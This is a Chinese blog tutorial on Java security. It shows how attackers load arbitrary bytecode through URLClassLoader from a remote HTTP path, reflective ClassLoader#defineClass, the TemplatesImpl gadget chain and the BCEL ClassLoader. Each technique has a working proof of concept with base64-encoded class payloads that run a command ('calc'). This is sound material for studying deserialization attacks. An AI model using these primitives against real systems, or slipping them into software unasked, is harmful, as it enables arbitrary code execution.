[Java安全]Java动态加载字节码

什么是java字节码

严格来说,Java字节码(ByteCode)其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中。

这里所有能够恢复成一个类并在JVM虚拟机里加载的字节序列,都在我们的探讨范围内

利用URLClassLoader加载远程class文件

这个很基础,直接上代码:

先编写一个evil.java并编译为class文件,python开一个http服务

import java.io.IOException;

public class evil {
    public evil() throws IOException{
        Runtime.getRuntime().exec("calc");
    }
}

evilClassLoader。java

import java.net.URL;
import java.net.URLClassLoader;
public class evilClassLoader {
    public static void main( String[] args ) throws Exception {
        URL[] urls = {new URL("http://127.0.0.1:8000/")};
        URLClassLoader loader = URLClassLoader.newInstance(urls);
        Class c = loader.loadClass("evil");
        c.newInstance();
    }
}

image-20220404154323775

作为攻击者,如果我们能够控制目标Java ClassLoader的基础路径为一个http服务器,则可以利用远程加载的方式执行任意代码了。

利用ClassLoader#defineClass直接加载字节码

在类加载器的学习中,我们知道不管是加载远程class文件,还是本地的class或jar文件,Java会经历三个方法的调用:

image-20220404155227824

其中核心的部分是 defineClass ,他决定了如何将一段字节流转变成一个Java类。

private native Class<?> defineClass1(String name, byte[] b, int off, int len,
                                         ProtectionDomain pd, String source);

这里我们了解其用法就可以了,写一个demo:

evil.java

import java.io.IOException;

public class evil {
    public evil() throws IOException{
        Runtime.getRuntime().exec("calc");
    }
}

将其编译为class文件后再base64,可以在linux上执行cat evil.class | base64

image-20220404160354736

declassloader.java

import java.lang.reflect.Method;
import java.util.Base64;

public class declassloader {
    public static void main(String[] args) throws Exception{
        Class clazz = Class.forName("java.lang.ClassLoader");
        Method defineClassMethod = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClassMethod.setAccessible(true);
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEACWV2aWwuamF2YQwABwAIBwAXDAAYABkBAARjYWxjDAAaABsBAARldmlsAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAABAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAABAAEAAUADQAGAAsAAAAEAAEADAABAA0AAAACAA4=");
        Class targetClass = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(),"evil",bytes,0,bytes.length);
        targetClass.newInstance();

    }
}

image-20220404165840686

在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我

们常用的一个攻击链 TemplatesImpl 的基石。

利用TemplatesImpl加载字节码

在TemplatesImpl类中定义了一个内部静态类TransletClassLoader

 static final class TransletClassLoader extends ClassLoader {
        private final Map<String,Class> _loadedExternalExtensionFunctions;

         TransletClassLoader(ClassLoader parent) {
             super(parent);
            _loadedExternalExtensionFunctions = null;
        }

        TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
            super(parent);
            _loadedExternalExtensionFunctions = mapEF;
        }

        public Class<?> loadClass(String name) throws ClassNotFoundException {
            Class<?> ret = null;
            // The _loadedExternalExtensionFunctions will be empty when the
            // SecurityManager is not set and the FSP is turned off
            if (_loadedExternalExtensionFunctions != null) {
                ret = _loadedExternalExtensionFunctions.get(name);
            }
            if (ret == null) {
                ret = super.loadClass(name);
            }
            return ret;
         }

        /**
         * Access to final protected superclass member from outer class.
         */
        Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }
    }

这个类里重写了 defineClass 方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。

往上跟一下,TemplatesImpldefineTransletClasses方法

image-20220404171633437

defineTransletClassesgetTransletInstance中调用:

image-20220404171808043

再往上追,getTransletInstance又在newTransformer中被调用

image-20220404180043671

此时newTransformer已经是public方法了外部可以直接调用,所以利用链:

TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> 
TemplatesImpl#defineTransletClasses()-> 
TransletClassLoader#defineClass()

由此我们构造POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;

public class temp {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAApldmlsMS5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEABWV2aWwxAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAKAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAQAAQAEQANABIACwAAAAQAAQAQAAEAEQAAAAIAEg==");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
        setFieldValue(templates,"_name","snakin");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        templates.newTransformer();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

首先我们利用TemplatesImpl的类构造器直接生成对象,后续利用反射设置属性

setFieldValue是利用反射给私有变量赋值

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
}

初始化之后来到getTransletInstance,这里有限制条件

if (_name == null) return null;
if (_class == null) defineTransletClasses();

我们需要满足_name不为空,所以给它设置一个值;同时_class默认为null,这里不用管它

setFieldValue(templates,"_name","snakin");

进入defineTransletClasses

if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

这里需要满足_bytecodes不为null,继续往下

TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

run()方法中调用了_tfactory.getExternalExtensionsMap(),所以_tfactory不能为null

private transient TransformerFactoryImpl _tfactory = null;

构造一下:

setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

之后:

image-20220404182854852

这里就会调用自定义的 ClassLoader 去加载 _bytecodes 中的 byte[],因此_bytecodes 是我们要加载的类的字节码数组。

需要注意的是:TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须 是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class evil1 extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    public evil1 () throws Exception  {
        super();
        Runtime.getRuntime().exec("calc");
    }
}

同理,编译为class文件之后再base64,之后填入POC运行即可

image-20220404183508011

利用BCEL ClassLoader加载字节码

BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中。

p神在博客中对它有详细的讲解:BCEL Classloader去哪了

我们可以通过BCEL提供的两个类 Repository 和 Utility 来利用: Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码; Utility 用于将原生的字节码转换成BCEL格式的字节码。

写一个demo看一下:

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;


public class EvilBCEL {
    public static void main(String[] args) throws Exception {
        JavaClass javaClass = Repository.lookupClass(Evil.class);
        String code = Utility.encode(javaClass.getBytes(),true);
        new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
    }
}
import java.io.IOException;

public class evil {
    public evil() throws IOException{
        Runtime.getRuntime().exec("calc");
    }
}

要加上$$BCEL$$是因为:

BCEL这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。

ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode。

image-20220404204024847

最后需要注意Java 8u251之后ClassLoader就被删除了,如果要用到的话注意jdk的版本。

参考:

https://blog.csdn.net/rfrder/article/details/119763746

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值